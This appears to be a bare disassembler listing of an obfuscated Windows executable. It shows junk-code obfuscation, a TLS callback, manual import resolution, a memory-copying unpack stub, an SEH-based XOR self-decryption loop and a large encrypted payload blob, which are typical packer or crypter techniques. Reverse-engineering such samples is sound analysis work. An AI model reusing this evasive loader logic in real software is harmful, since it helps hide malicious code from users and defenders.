; FUNCTION CHUNK AT 0042E8BB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EA66 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	ecx
		jmp	loc_42E8BB
sub_42EB86	endp

; ---------------------------------------------------------------------------
		dd 3D680000h, 0E90C64F1h, 0FFFFF1A1h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DC4F


loc_42EB9D:				; CODE XREF: sub_42DC4F+3B5j
					; DATA XREF: sub_42E332-84Ar
		in	al, 0


loc_42EB9F:				; CODE XREF: lsqvqpii:0042D746j
		jmp	loc_42D0BF
; END OF FUNCTION CHUNK	FOR sub_42DC4F
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EDBB


loc_42EBA5:				; CODE XREF: sub_42EDBB+4j
		jno	loc_42CF43
		push	offset loc_42E881
		jmp	nullsub_13
; END OF FUNCTION CHUNK	FOR sub_42EDBB
; ---------------------------------------------------------------------------


loc_42EBB5:				; CODE XREF: lsqvqpii:0042DB9Ej
		retn
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_42EBB7:				; CODE XREF: lsqvqpii:0042DD5Cj
		jmp	loc_42D926
; ---------------------------------------------------------------------------
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_28. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CD93


loc_42EBBF:				; CODE XREF: sub_42CD93+7E5j
		jmp	nullsub_20
; END OF FUNCTION CHUNK	FOR sub_42CD93
; ---------------------------------------------------------------------------
		dd 6B8B6800h, 5759C334h, 42D6FBBFh, 0FF06E900h,	880FFFFFh
		dd 6Bh,	0F542E99Dh
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------


loc_42EBE3:				; CODE XREF: lsqvqpii:0042DF86j
		and	ecx, 0F4A8087h
		or	ecx, 71C4BA45h
		add	ecx, 807627AEh
		xchg	eax, edi
		or	al, 24h
		jmp	near ptr dword_42CEA0+3
; ---------------------------------------------------------------------------
		db 2 dup(0), 3
		dd 1CCFC1CFh, 0FFE133E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_42EC09:				; CODE XREF: lsqvqpii:0042E75Cj
		mov	edi, ecx
		call	sub_42E365


loc_42EC10:				; CODE XREF: lsqvqpii:0042E401j
		jmp	near ptr dword_42DF5C+1
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 0FFFFE94Ah
; ---------------------------------------------------------------------------


loc_42EC1C:				; CODE XREF: lsqvqpii:0042D2F8j
		jmp	loc_42EA7A
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_42EDBB


loc_42EC22:				; CODE XREF: sub_42EDBB-1E69j
		jmp	nullsub_14
; END OF FUNCTION CHUNK	FOR sub_42EDBB
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------

locret_42EC29:				; CODE XREF: lsqvqpii:loc_42D006j
		retn
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E365


loc_42EC2B:				; CODE XREF: sub_42E365+17j
		jmp	nullsub_28
; END OF FUNCTION CHUNK	FOR sub_42E365

; =============== S U B	R O U T	I N E =======================================



sub_42EC30	proc near		; DATA XREF: lsqvqpii:0042DBF7o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042CE46 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E5CC SIZE 00000011 BYTES

		push	ebx
		mov	ebx, eax
		xchg	ebx, [esp+4+var_4]
		push	39D1FF00h
		pop	eax
		xor	eax, 0CBC88E32h
		jmp	loc_42E5CC
sub_42EC30	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_27. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DD3F


loc_42EC48:				; CODE XREF: sub_42DD3F-F00j
		jmp	loc_42D3CB
; END OF FUNCTION CHUNK	FOR sub_42DD3F
; ---------------------------------------------------------------------------
		db 2 dup(0), 9Ch
; ---------------------------------------------------------------------------
		push	offset dword_42D1EC
		jmp	locret_42D858
; ---------------------------------------------------------------------------
		align 4
		dd 0E90EC1C1h, 0FFFFFA72h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D877


loc_42EC65:				; CODE XREF: sub_42D877+11FCj
		xchg	ebp, [ebx]
		cdq
		jmp	loc_42E545
; END OF FUNCTION CHUNK	FOR sub_42D877
; ---------------------------------------------------------------------------


loc_42EC6D:				; CODE XREF: lsqvqpii:0042E7C4j
		jnp	loc_42E806

; =============== S U B	R O U T	I N E =======================================



sub_42EC73	proc near		; CODE XREF: lsqvqpii:0042EA61p

; FUNCTION CHUNK AT 0042DCA9 SIZE 0000000C BYTES

		xchg	ebx, [esp+0]
		xchg	ecx, [esp+0]
		mov	ebx, ecx
		jmp	loc_42DCA9
sub_42EC73	endp

; ---------------------------------------------------------------------------
		dd 815F0000h, 0DDB3E9CFh, 0F5880FE3h, 0FFFFE0h,	0E5E9D2F7h
		dd 0FFFFE0h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42EC99:				; CODE XREF: sub_42E407:loc_42CAA2j
		mov	byte ptr [edx],	9
		xchg	ebp, [esp+0]
		mov	edx, ebp
		pop	ebp
		xchg	esi, [esp-4+arg_0]
		push	edx
		mov	edx, ecx
		jmp	loc_42D1AB
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D877


loc_42ECAF:				; CODE XREF: sub_42D877-320j
		pop	eax
		or	eax, 0FE47626h
		push	edi
		push	0AC12FD0Bh
		jmp	loc_42E08F
; END OF FUNCTION CHUNK	FOR sub_42D877
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_42ECC3:				; CODE XREF: lsqvqpii:loc_42E8AAj
		adc	edi, 1246D697h
		mov	esi, 0F12E9EBFh
		or	edx, 7B6A4FBCh
		sub	edx, 48E81846h
		push	(offset	loc_42E0DE+1)
		jmp	locret_42D80E

; =============== S U B	R O U T	I N E =======================================



sub_42ECE4	proc near		; CODE XREF: lsqvqpii:0042D0A9j
					; sub_42D877:loc_42EA49p
		xchg	eax, [esp+0]
		pop	eax
		add	edi, 1B5BFBDAh
		push	offset loc_42E9AE
		jmp	nullsub_12
sub_42ECE4	endp

; ---------------------------------------------------------------------------
		dd 0EA810000h, 24505356h, 3E52C281h, 7E9BD59h, 0FFFFEAh
		db 0
; ---------------------------------------------------------------------------

locret_42ED0D:				; CODE XREF: lsqvqpii:0042DBEAj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E6D7


loc_42ED0E:				; CODE XREF: sub_42E6D7+8j
		jmp	nullsub_16
; END OF FUNCTION CHUNK	FOR sub_42E6D7
; ---------------------------------------------------------------------------
		align 4


loc_42ED14:				; CODE XREF: lsqvqpii:0042E0F7j
		jmp	near ptr dword_42DA2C+0Bh
; ---------------------------------------------------------------------------
		align 2
		dw 9368h
		db 90h
		db 0D7h, 9Eh, 5Ah
		dd 1FF2CA81h, 0DAE80FCAh, 0FFFFECh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E5DE


loc_42ED2C:				; CODE XREF: sub_42E5DE+13j
		jmp	loc_42D358
; END OF FUNCTION CHUNK	FOR sub_42E5DE
; ---------------------------------------------------------------------------
		align 2
		adc	esi, eax

; =============== S U B	R O U T	I N E =======================================



sub_42ED34	proc near		; CODE XREF: lsqvqpii:loc_42EDAFp
		xchg	edi, [esp+0]
		pop	edi
		mov	byte ptr [ebx],	9Dh
		pop	ebx
		push	ebx
		jmp	near ptr dword_42CC24+2Ah
sub_42ED34	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D877


loc_42ED42:				; CODE XREF: lsqvqpii:loc_42E1C5p
					; sub_42D877+D2Ej
		xchg	esi, [esp+3E34h+var_3E34]
		pop	esi
		push	ecx
		call	sub_42DC4F


loc_42ED4C:				; CODE XREF: lsqvqpii:0042D977j
		add	cl, ch
		fsub	st(5), st
; END OF FUNCTION CHUNK	FOR sub_42D877
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------


loc_42ED53:				; CODE XREF: lsqvqpii:0042D64Bj
		rol	esi, 17h
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42ED56:				; CODE XREF: sub_42E407:loc_42CE64j
		sbb	eax, esi
		jmp	loc_42CFBA
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
		popf
		jmp	sub_42E930
; ---------------------------------------------------------------------------
		align 4
		dd 0E9EB8B00h, 0FFFFEC85h, 42CB9068h, 0E92FE900h, 0C681FFFFh
		dd 0E36662FCh, 59240C87h, 25A16857h, 0C8708A4h,	0E9F98B24h
		dd 0FFFFE3B4h, 0C5030000h, 42D43868h, 0DF0CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EB44


loc_42ED9E:				; CODE XREF: sub_42EB44:loc_42D5ABj
		mov	byte ptr [eax],	8Ah
		pop	eax
		add	edi, 76275B16h
		add	edi, ebp
		jmp	loc_42D15E
; END OF FUNCTION CHUNK	FOR sub_42EB44
; ---------------------------------------------------------------------------


loc_42EDAF:				; CODE XREF: lsqvqpii:0042D90Dj
		call	sub_42ED34
		add	cl, ch
		mov	al, 0F6h
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	0

; =============== S U B	R O U T	I N E =======================================



sub_42EDBB	proc near		; CODE XREF: sub_42D877:loc_42EA92p

; FUNCTION CHUNK AT 0042CF43 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042CF9D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0042D810 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DF60 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E722 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042E7D7 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0042EBA5 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042EC22 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		jnz	loc_42EBA5
		jno	loc_42CF43
		push	offset loc_42E868
		jmp	loc_42D810
sub_42EDBB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

locret_42EDD7:				; CODE XREF: lsqvqpii:loc_42D870j
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CF38


loc_42EDDA:				; CODE XREF: sub_42CF38+5j
		jmp	loc_42E650
; END OF FUNCTION CHUNK	FOR sub_42CF38
; ---------------------------------------------------------------------------
		align 10h

locret_42EDE0:				; CODE XREF: lsqvqpii:0042D8B3j
		retn
; ---------------------------------------------------------------------------


loc_42EDE1:				; CODE XREF: lsqvqpii:0042D682j
		jmp	loc_42CA86
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_42EDE7:				; CODE XREF: lsqvqpii:0042E3EEj
		add	edx, 0BCCF7ABh
		push	offset loc_42D0EE
		jmp	locret_42D9E4
; ---------------------------------------------------------------------------
		align 4
		dd 0A0D78100h, 0E9831959h, 0FFFFFFB7h, 0C0F70000h, 0D05CC54Eh
		dd 0FFFD6FE9h
; ---------------------------------------------------------------------------
		inc	ebx


loc_42EE12:				; CODE XREF: lsqvqpii:0042DCC0j
		jmp	loc_42DE92
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFEA53h, 14870000h, 5A585224h, 5A32C081h,	0E8818A0Eh
		dd 228969A2h, 0A75BF081h, 1DE9DB62h, 0FFFFECh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42EE3C	proc near		; CODE XREF: sub_42DCC5+Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042EF94 SIZE 0000000B BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	esi
		push	edi
		push	ebx
		mov	esi, offset dword_4173C8
		mov	eax, 400000h
		mov	[ebp+var_4], eax
		mov	edx, eax


loc_42EE54:				; CODE XREF: sub_42EE3C+15Ej
		mov	eax, [esi+0Ch]
		or	eax, eax
		jz	loc_42EEED
		add	eax, edx
		mov	ebx, eax
		push	eax
		call	ds:dword_4210B4	; GetModuleHandleA
		or	eax, eax
		jnz	loc_42EE81
		push	ebx
		call	ds:dword_4210B8	; LoadLibraryA
		or	eax, eax
		jz	loc_42EEE5


loc_42EE81:				; CODE XREF: sub_42EE3C+30j
		mov	[ebp+var_8], eax
		push	0
		pop	[ebp+var_C]


loc_42EE89:				; CODE XREF: sub_42EE3C+A2j
		mov	eax, [esi]
		or	eax, eax
		mov	edx, [ebp+var_4]
		jnz	loc_42EE99
		mov	eax, [esi+10h]


loc_42EE99:				; CODE XREF: sub_42EE3C+54j
		add	eax, edx
		add	eax, [ebp+var_C]
		mov	ebx, [eax]
		mov	edi, [esi+10h]
		add	edi, edx
		add	edi, [ebp+var_C]
		or	ebx, ebx
		jz	loc_42EF94
		test	ebx, 80000000h
		jnz	loc_42EEC0
		lea	ebx, [ebx+edx+2]


loc_42EEC0:				; CODE XREF: sub_42EE3C+7Aj
		and	ebx, 7FFFFFFFh
		push	ebx
		push	[ebp+var_8]
		call	ds:dword_4210BC	; GetProcAddress
		or	eax, eax
		jz	loc_42EEE5
		mov	[edi], eax
		add	[ebp+var_C], 4
		jmp	loc_42EE89
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------


loc_42EEE5:				; CODE XREF: sub_42EE3C+3Fj
					; sub_42EE3C+96j
		push	ebx
		mov	eax, ebx
		call	sub_42EEF4


loc_42EEED:				; CODE XREF: sub_42EE3C+1Dj
		pop	ebx
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_42EE3C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42EEF4	proc near		; CODE XREF: sub_42EE3C+ACp

var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
var_F8		= dword	ptr -0F8h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEF8h
		mov	[ebp+var_104], eax
		mov	[ebp+var_100], 276E6143h
		mov	[ebp+var_FC], 6F6C2074h
		mov	[ebp+var_F8], 206461h
		mov	[ebp+var_108], 0Bh


loc_42EF2B:				; CODE XREF: sub_42EEF4+99j
		mov	eax, [ebp+var_104]
		cmp	byte ptr [eax],	0
		jnz	loc_42EF6C
		mov	eax, [ebp+var_108]
		mov	byte ptr [ebp+eax+var_100], 0
		push	2010h
		push	0
		lea	eax, [ebp+var_100]
		push	eax
		push	0
		call	dword ptr ds:21104h
		push	0FFFFFFFFh
		call	ds:dword_4210C0	; ExitProcess
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4


loc_42EF6C:				; CODE XREF: sub_42EEF4+40j
		mov	eax, [ebp+var_108]
		mov	edx, [ebp+var_104]
		mov	dl, [edx]
		mov	byte ptr [ebp+eax+var_100], dl
		inc	[ebp+var_108]
		inc	[ebp+var_104]
		jmp	loc_42EF2B
sub_42EEF4	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_42EE3C


loc_42EF94:				; CODE XREF: sub_42EE3C+6Ej
		add	esi, 14h
		mov	edx, [ebp+var_4]
		jmp	loc_42EE54
; END OF FUNCTION CHUNK	FOR sub_42EE3C
; ---------------------------------------------------------------------------
		align 10h
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_42EFA1	proc near		; CODE XREF: sub_42DCC5+4p
					; lsqvqpii:0042F0A4p ...
		mov	eax, offset loc_42CA86

locret_42EFA6:				; DATA XREF: lsqvqpii:0042EFAFo
		retn
sub_42EFA1	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	ecx
		push	esi
		push	edi
		push	eax
		mov	ebx, [esp]
		sub	ebx, offset locret_42EFA6
		mov	eax, 1D5Ah
		push	eax
		push	4
		push	1000h
		push	eax
		push	0
		mov	eax, offset dword_4210C4
		mov	eax, [eax+ebx]
		call	eax
		pop	ecx
		mov	edx, offset loc_42CA86
		add	edx, ebx
		push	edx
		push	ebx
		push	eax
		mov	edi, eax
		mov	esi, edx
		cld
		rep movsb
		mov	ecx, offset sub_42C902
		add	ecx, ebx
		call	ecx
		pop	eax
		mov	ebx, [esp]
		push	8000h
		push	0
		push	eax
		mov	eax, 4210C8h
		mov	eax, [eax+ebx]
		call	eax
		pop	ecx
		pop	eax
		pop	ebx
		sub	ebx, 5
		mov	byte ptr [ebx],	0B8h
		inc	ebx
		mov	[ebx], eax
		add	ebx, 4
		mov	byte ptr [ebx],	0C3h
		or	ecx, ecx
		jz	short loc_42F05C
		mov	ebx, eax
		call	loc_42F0BD
		cld
		lodsd
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42F05C
		push	ebx
		mov	ebx, ecx


loc_42F027:				; CODE XREF: lsqvqpii:0042F038j
					; lsqvqpii:0042F04Bj ...
		add	ebx, eax
		add	[ebx], ecx
		add	ebx, 4
		lodsb
		cmp	al, 0FEh
		jnb	short loc_42F03A
		and	eax, 0FFh
		jmp	short loc_42F027
; ---------------------------------------------------------------------------


loc_42F03A:				; CODE XREF: lsqvqpii:0042F031j
		add	ebx, 0FEh
		or	eax, eax
		jp	short loc_42F04D
		lodsw
		and	eax, 0FFFFh
		jmp	short loc_42F027
; ---------------------------------------------------------------------------


loc_42F04D:				; CODE XREF: lsqvqpii:0042F042j
		lodsd
		dec	esi
		and	eax, 0FFFFFFh
		cmp	eax, 0FFFFFFh
		jnz	short loc_42F027
		pop	eax


loc_42F05C:				; CODE XREF: lsqvqpii:0042F014j
					; lsqvqpii:0042F022j
		pop	edi
		pop	esi
		pop	ecx
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 75h,	2Eh, 0Fh
		dd 0BC95054Eh, 94C5EE1Ah, 0FAB2592h, 0E928BF64h, 0E35C860Eh
		dd 23B6F950h, 0E008ED1Eh, 1D59E15Fh, 0B55B439Ch, 287C887h
		dd 7ADB49D3h, 7CDE19A9h, 0C1A5BBA0h, 1226EAF4h,	7AA2C2BAh
		dd 0FEDC2910h
; ---------------------------------------------------------------------------
		db	2Eh		; DATA XREF: starto
		call	sub_42EFA1
		add	eax, 1347h
		jmp	eax

; =============== S U B	R O U T	I N E =======================================


		public TlsCallback_0

TlsCallback_0	proc near		; DATA XREF: lsqvqpii:TlsCallbackso
		call	sub_42EFA1
		add	eax, 138Ah
		jmp	eax
TlsCallback_0	endp

; ---------------------------------------------------------------------------


loc_42F0BD:				; CODE XREF: lsqvqpii:0042F018p
		call	sub_42F0C6
; ---------------------------------------------------------------------------
		dw 0FFFFh
		db 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_42F0C6	proc near		; CODE XREF: lsqvqpii:loc_42F0BDp
		pop	esi
		retn
sub_42F0C6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_42F0C9	proc near		; CODE XREF: sub_42F0DC+2Ep
		pusha
		push	ebp
		mov	ebp, esp
		call	sub_42F0DC
		call	sub_42F17A
		jmp	loc_42F133
sub_42F0C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_42F0DC	proc near		; CODE XREF: sub_42F0C9+4p

var_8		= dword	ptr -8

		push	dword ptr fs:0
		mov	fs:0, esp
		xor	ecx, ecx
		push	80000000h
		push	ecx
		push	ecx
		push	ecx
		push	80000000h
		push	ecx
		push	800h
		push	ecx
		push	1000h
		push	ecx
		push	ecx
		push	80000000h
		call	sub_42F0C9
		add	[ecx], dh
		rcl	byte ptr [edx+52h], cl
		push	edx
		push	80000000h
		push	4
		push	80000000h
		push	80000000h
		push	edx
		push	edx
		push	edx
		push	edx
		call	ds:dword_4210B4	; GetModuleHandleA


loc_42F133:				; CODE XREF: sub_42F0C9+Ej
		sub	edx, edx
		sub	ecx, ecx
		mov	cl, 16h


loc_42F139:				; CODE XREF: sub_42F0DC+5Fj
		inc	edx
		dec	ecx
		jnz	short loc_42F139
		call	sub_42F177
		sub	ecx, 0FFFFFFBBh
		push	ecx
		mov	esi, 243Ch


loc_42F14E:				; CODE XREF: sub_42F0DC+7Fj
		xchg	al, [ecx]
		xor	ax, dx
		xchg	al, [ecx]
		inc	ecx
		inc	edx
		dec	esi
		cmp	esi, 0
		jnz	short loc_42F14E
		pop	ecx
		xchg	ebp, fs:0
		mov	esp, ebp
		pop	dword ptr fs:0
		lea	ebp, [ebp+8]
		leave
		mov	[esp+20h+var_8], ecx
		popa
		jmp	ecx
sub_42F0DC	endp


; =============== S U B	R O U T	I N E =======================================



sub_42F177	proc near		; CODE XREF: sub_42F0DC+61p
		pop	ecx
		push	ecx
		retn
sub_42F177	endp


; =============== S U B	R O U T	I N E =======================================



sub_42F17A	proc near		; CODE XREF: sub_42F0C9+9p

arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		pop	dword ptr [eax+0B8h]
		xor	eax, eax
		retn
sub_42F17A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 86h,	0FFh
		db 18h,	19h, 1Ah
		dd 3A19971Bh, 60AA0E8h,	26252423h, 0B2A0A827h, 2E2D0587h
		dd 36156CA4h, 6FC91947h, 138988BEh, 86B43C3Bh, 4241698Bh
		dd 626AFCC3h, 3FA14847h, 7ED54F46h, 0D951506Bh,	65AA5608h
		dd 0C2D250BCh, 5E5D786Ah, 373A53A0h, 4209E5F6h,	6A696D63h
		dd 6E8EED6Bh, 0F38E8F9Fh, 3665729Eh, 5E05F377h,	42C8F17Fh
		dd 3B81C04Bh, 86858483h, 0F1082C74h, 0E7E5D8C5h, 199CE5FCh
		dd 9218A8D0h, 0A218FE8Fh, 96E9D9CBh, 0A3A14B1Eh, 44D0A4A3h
		dd 0A9D1F82Ch, 8EDF2778h, 0B1A9FA24h, 0B518E540h, 45C13974h
		dd 0CAD8FBBBh, 0BA40DBCAh, 0A9B794C0h, 4BDBBDA4h, 0AA8CCBB3h
		dd 0DBA4A2ABh, 0B3DEAC52h, 0AED9ABA4h, 870A3EDEh, 0EEC82382h
		dd 0C2976FC7h, 0E51AEBBEh, 65A3E85Ch, 9F2EC95h,	0F572C078h
		dd 0FAF51004h, 92BEFCFBh, 4A647390h, 6A616A62h,	0F55A0862h
		dd 328885DDh, 0FA11503Ah, 1615141Eh, 7B7C6A54h,	6858796Fh
		dd 63554E7Ah, 0F0DA7723h, 1F69ADAEh, 23C52C6Bh,	7531302Fh
		dd 57794056h, 487C4C44h, 3E4F5349h, 0CB97BF6Ch,	67000C6h
		dd 4A39A047h, 8EC84C4Bh, 0AD01713Bh, 166010C6h,	2F99DD57h
		dd 8CD8D14Bh, 0E861204Eh, 88D9B33h, 81696867h, 52F89317h
		dd 8571305Ah, 364145F6h, 7A797877h, 0F36308FBh,	0C2B5B5CAh
		dd 0A2F90F83h, 12C2C83h, 0CEB43E16h, 24241B8Fh,	1D95D4AAh
		dd 0DAA0222Ah, 0C45EC19Bh, 0A2CBA0F5h, 0A6CFA4C9h, 0AEA9A9CFh
		dd 0C46927ABh, 0BEDBE0AFh, 544A7038h, 89E6ECE1h, 778EBCBBh
		dd 3D3E1A57h, 6750493Ch, 98C988D6h, 319D9D9Ah, 92E4905Ah
		dd 0F61157D3h, 632B5214h, 0DEDDFE84h, 0E0A1F0EFh, 251C0635h
		dd 2E94078Bh, 1A65B04Eh, 434D990Ch, 211D88A3h, 0BE745C92h
		dd 0CF3E208Bh, 66B9B8EEh, 13C7F1E0h, 4BDEC436h,	7A45A945h
		dd 0DE788EDCh, 2BF7A8Ch, 0B00B7B5h, 2A957995h, 0EC25Dh
		dd 0F21E9BF6h, 0DB784527h, 0DAE505D3h, 83B249C2h, 0ABEE4863h
		dd 0BF9A97Ah, 94C4E00Bh, 26BA92F7h, 0C7122793h,	8E519153h
		dd 355A38BAh, 76E9C82Bh, 967A23C3h, 1D42B47Dh, 6A8500C3h
		dd 0D69CE5F7h, 9A4D9806h, 2EB16DA9h, 0F1A70B1h,	0D60989C7h
		dd 0A692C8E6h, 811EAA46h, 0CA802D9Ch, 6D794C4Fh, 985901BCh
		dd 0A3506407h, 0FAC500BBh, 0A4AA49E2h, 0E70E6843h, 0F202D628h
		dd 0C0A94B4Bh, 1F199F37h, 28B08D7Eh, 4582C4E7h,	0DAC4C90h
		dd 0ACE82DFh, 0E25EA0F4h, 2BDE9476h, 0AB5559Bh,	2319881Ch
		dd 70E9F7D3h, 996EDBB9h, 0BBAF5091h, 0F66D9C47h, 2BD40C3h
		dd 0CB3E7496h, 0EA55B57Bh, 82962CFAh, 8D32A636h, 0C661848Dh
		dd 1A61F05Bh, 0BE083CE5h, 0A377DFEFh, 0FE60BC67h, 0DF4A208Ah
		dd 66B9B98Fh, 13AD32BBh, 9EC41B87h, 9205D00Eh, 36A95CEAh
		dd 3D83BC6Ah, 0C701DEA8h, 20BF4A08h, 0F3E5B940h, 43E69833h
		dd 1E4CC7E4h, 0DAA570AEh, 683E7840h, 6435B7DCh,	70A114F7h
		dd 0C639A41Fh, 0AE2C331Fh, 0DFED38A6h, 0CE06D772h, 0B78CE37Bh
		dd 36DCCC12h, 113619C3h, 0DE43B2FFh, 922883ABh,	86192CCAh
		dd 0C4E5C3Ch, 0AB3AFB98h, 9AA5450Fh, 5948CCF0h,	62AE9DE6h
		dd 9664DFB7h, 3535E03Eh, 63F60D2Fh, 926D8BB1h, 7B09E18Ch
		dd 8A7A10FBh, 5FAC536Eh, 0C9FD2830h, 5EB4E85Ah,	555C236Bh
		dd 0C356AD4Eh, 32CD2B05h, 118C364Fh, 14983DE4h,	9D893CF9h
		dd 145DA26Ch, 0BA516BAEh, 60F68148h, 0F1C04FDFh, 0CA07F879h
		dd 1B0E91CAh, 0A67C50BBh, 7D699C2Fh, 4FB9A597h,	0A13E8B69h
		dd 0EE982B4Dh, 699EC32h, 0FF663EB3h, 9C9A80A0h,	0B1035CBFh
		dd 56A3C76Dh, 0A274468Bh, 94AD5F37h, 2071AB8Bh,	66F9E4DFh
		dd 52C730D3h, 0C03BB6D6h, 9A906F6Bh, 6EA91CDAh,	0AA3D2C00h
		dd 9E01DD99h, 2ABF9460h, 8633E034h, 0B0679819h,	6F12E75h
		dd 0DAA55955h, 0FC58FC25h, 0F72218DCh, 3EE12113h, 75F0B914h
		dd 0DB9E4810h, 0E760876Ch, 8E51B4C7h, 3A4FA4C2h, 850697AFh
		dd 82D02966h, 5341B407h, 2A814C2Eh, 0BF993FFh, 0B25538A6h
		dd 0BB4E5667h, 9AA54547h, 0D649AAE7h, 4DF24463h, 2E9121DCh
		dd 0A343C979h, 831E6933h, 0E741D905h, 1ED12562h, 0CFCD8544h
		dd 33A0DC2Fh, 42BD5D4Fh, 3EEB6087h, 3FAA3F01h, 469999D3h
		dd 47D2D876h, 0EC1B5298h, 8EAEE64Dh, 0FEDB7DA5h, 0E25DC8B2h
		dd 0DB65F124h, 5A9215A9h, 0CF4F25EDh, 0B70A9D7Fh, 9B6E7247h
		dd 0BA8565B7h, 0A03F58A4h, 55EB7815h, 6B11E168h, 2E96806Bh
		dd 9366BB6Fh, 728D6D8Fh, 0AC5B848Dh, 2F1565A4h,	7E703CCFh
		dd 351D88E2h, 0F2E8351Ch, 0B5E274AFh, 26CC204Ah, 915B0BD3h
		dd 8E67D822h, 2D51903Bh, 319C910h, 2F8E8C3h, 1D47E823h
		dd 0C4A74415h, 0CE7D5840h, 98679819h, 5B59D1D8h, 1A2030DBh
		dd 7E9A203Bh, 62DD4C1Eh, 0DD30DDC4h, 0B6F0D97Bh, 53B98C29h
		dd 0FC2CF9BBh, 0DE11A4CAh, 6B13802Fh, 89BA4CFFh, 0C208C056h
		dd 87817117h, 1E6A0FDFh, 39664DBh, 0F20DEE0Fh, 0D14CA88Fh
		dd 0F1A2324h, 0D6098933h, 0E61C9088h, 7EE1559Fh, 0F6A05F5Ch
		dd 0F794C6Ah, 6DD243B6h, 16D12D8Ah, 348548E3h, 0D329DC46h
		dd 43FD680Eh, 1E8134D7h, 0AA55C06Bh, 17D9AC3Fh,	0A7724BA5h
		dd 0EE31F1EFh, 0DE89E9B0h, 0F472090Fh, 0A0010B4Dh, 0F044E716h
		dd 6E900DAAh, 0C3532ED0h, 8E1E8C70h, 51A31710h,	0CEB739ADh
		dd 85059C5Ah, 67D15A37h, 2C8274F9h, 8F61E14Eh, 63F58539h
		dd 8E58F2h, 0CB45E582h,	7F09991Dh, 26B95DC2h, 0E37AE68Ah
		dd 9B139737h, 1AD054EAh, 39AE3ADh, 12EC4BA0h, 0AF3496C4h
		dd 1F57F54Fh, 53DD3382h, 0A70F80D7h, 0DD01D036h, 5EB42599h
		dd 0B43178DAh, 0B269F916h, 0F943664h, 0B5F155EFh, 0F3619020h
		dd 50EE384Fh, 4EC07AA4h, 0FE1A8838h, 4FC1891Fh,	20852CE7h
